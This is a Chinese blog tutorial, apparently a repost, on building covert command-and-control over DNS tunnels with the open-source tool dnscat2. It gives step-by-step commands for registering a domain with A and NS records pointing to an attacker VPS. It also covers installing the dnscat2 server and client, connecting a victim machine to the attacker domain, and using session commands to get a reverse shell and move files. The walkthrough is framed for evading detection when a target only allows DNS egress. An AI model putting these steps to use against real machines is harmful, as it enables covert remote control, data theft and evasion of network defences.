通过DNS隧道进行C&C通信

2020-11-25 10:43:12 浏览数 (1)

DNS

当你在浏览器中输入域名访问网站时,它首先会向 DNS 服务器发送请求来查找域名对应的 IP 地址。找到 IP 地址之后,就会通过 IP 定位到对应的服务器然后获取网站的内容。这整个过程仅仅只需要几毫秒。DNS 默认是运行在 53 端口上。

域名系统将 URL 和 IP 地址关联起来。有了 DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。

PS:写这篇文章写了两天,特意买了个域名和服务器!中途遇到各种问题,害,最后还是解决了!

DNS隧道进行C&C通信

Dnscat2


DNScat 堪称神器,因为它可以通过 DNS 协议创建 C&C 隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个 shell。这个工具也是基于 53 端口的,所以你不需要对 DNS 服务器进行权威访问,只要通过 53 端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。

什么时候可以用到 DNScat2?目标只能DNS出网的时候可以用到DNScat2.

代码语言:javascript复制
dnscat2是一个开源软件,下载地址:https://github.com/iagox86/dnscat2

它使用DNS协议创建加密的C&C通道,严格来讲它是一个命令与控制工具。

dns 隧道分为两种,一种是直连模式,就是dns通信目标受害机器直接连接到自己的VPS服务器(C&C)

第二种是中继模式,受害者机器首先会去请求互联网上的dns服务器,最后再指向自己的VPS服务器(C&C)

一、在一台外网VPS服务器上安装Linux操作系统(作为C&C服务器),并提供一个可以配置的域名

首先创建记录A,将自己的域名解析服务器(www.saulgoodman.club)指向VPS服务器,167.xxx.xxx.xxx

然后创建 NS 记录,将 dns 子域名解析结果向 www.saulgoodman.club。其中主机记录的 dns 就是子域名,可以随便设置!

之后Ping www.saulgoodman.club 查看是否解析成功:

能 Ping 同,并且返回的是 服务器IP 的回复说明解析记录A已经设置生效。

之后使用 tcpdump 抓包(端口的53的UDP包)

代码语言:javascript复制
sudo tcpdump -n -i eth0 dst port 53

然后使用 nslookup 命令查看Dns是否解析成功:

代码语言:javascript复制
nslookup test.saulgoodman.club

这个时候抓包的时候就会有记录,说明ns解析成功

二、安装dnscat2服务端

在 VPS 服务器上安装dnscat2服务器端(ubuntu服务器),因为服务端是用ruby语言编写的,所以需要配置ruby环境

代码语言:javascript复制
sudo apt-get install gem
sudo apt-get install ruby-dev
sudo apt-get install libpq-dev
sudo apt-get install ruby-bundler
代码语言:javascript复制
apt-get install git
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/serive/
sudo apt-get install libxml2-dev libxslt-dev
bundle install

接下来,执行如下命令,启动服务端有三种:

代码语言:javascript复制
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456   #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=saul #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3
代码语言:javascript复制
ruby ./dnscat2.rb test.saulgoodman.club -e open -c saul --no-cache (我使用这个报错不知道为什么)
# -W0 -Ispec 是为了不报错弹出警告,如果报错发出警告可以加上这一条参数
#-e 是一个安全级别,open是服务端允许客户端不进行加密
#-c 是指定一个密码
# --no-cache 禁止缓存,务必在允许服务器时添加此选项,因为powershell-dnscat2客户端与dnscat2服务器的Caching模式不兼容

如果采用是直连模式,可以用下面这条命令:
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=saul

三:客户端下载安装dnscat2

客户端Windows下载的话是:https://downloads.skullsecurity.org/dnscat2/

下载地址:https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip(密码:password )

Linux 直接下载并编译:

代码语言:javascript复制
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2 /client/
make

四、测试是否能通信

服务端建立后,执行如下命令,测试客户端是否能与服务端通信:

代码语言:javascript复制
./dnscat --dns domain=dns.saulgoodman.club

这个时候服务端收到会话:

复盘过程:目标受害者上的dnscat2指定了dns为攻击者的VPS,也就是(dns.saulgoodman.club),解析 dns.saulgoodman.club 会首先在本地dns缓存中查找,没有对应记录的时候,目标dns会从互联网上的跟dns服务器查询,dns根一看域名是 saulgoodman.club ,就会给到 saulgoodman.club 的域名服务器,saulgoodman.club 域名服务器就会找 A 记录和 NS 记录。

具体过程中 dnscat2 客户端经过了互联网的dns服务器,然后再连接到我们的dns服务器,所以这就是中继模式。

五、 反弹Shell

客户端和服务端建立连接之后,服务端将处于交互模式,输入“windows”或者“session”命令,可以查看当前控制的进程(每个连接都是独立的):

代码语言:javascript复制
session

输入命令选择进入到目标:

代码语言:javascript复制
session -i 1

可以输入 help 查看有哪些命令:

代码语言:javascript复制
command (saulGoodman) 1> help

Here is a list of commands (use -h on any of them for additional help):
* clear  清屏
* delay  修改远程相应延时
* download  下载文件
* echo  
* exec  执行远程机器上的指定程序
* help
* listen
* ping
* quit  切断当前会话
* set  设置值,类似于 security=open
* shell  得到一个反弹shell
* shutdown  切断当前会话
* suspend  返回上一层,相对于使用快捷键ctrl Z
* tunnels
* unset
* upload
* window
* windows
command (saulGoodman) 1>

获取交互式 shell 模式:

代码语言:javascript复制
shell

如上图,我们输入 shell 成功建立后得到一个 4 的会话,之后就可以使用 session -i 4 进行连接:

代码语言:javascript复制
session -i 4

如果想退出的话,输入 exit 即可退出!

session 命令还可以看看有多少个会话:

最后,dnscat2 还提供了多域名并发的特性,可以将多个子域名绑定在同一个 NS 解析记录下,然后再服务端同时接收多个客户连接:

代码语言:javascript复制
ruby dnscat2.rb --dns=port=53532 --security=open start --dns domain=域名1,domain=域名2

参考文章:

https://mp.weixin.qq.com/s/BmeFxYeIy5fTY_p39ktr9A

https://blog.csdn.net/weixin_41598660/article/details/106658548

0 人点赞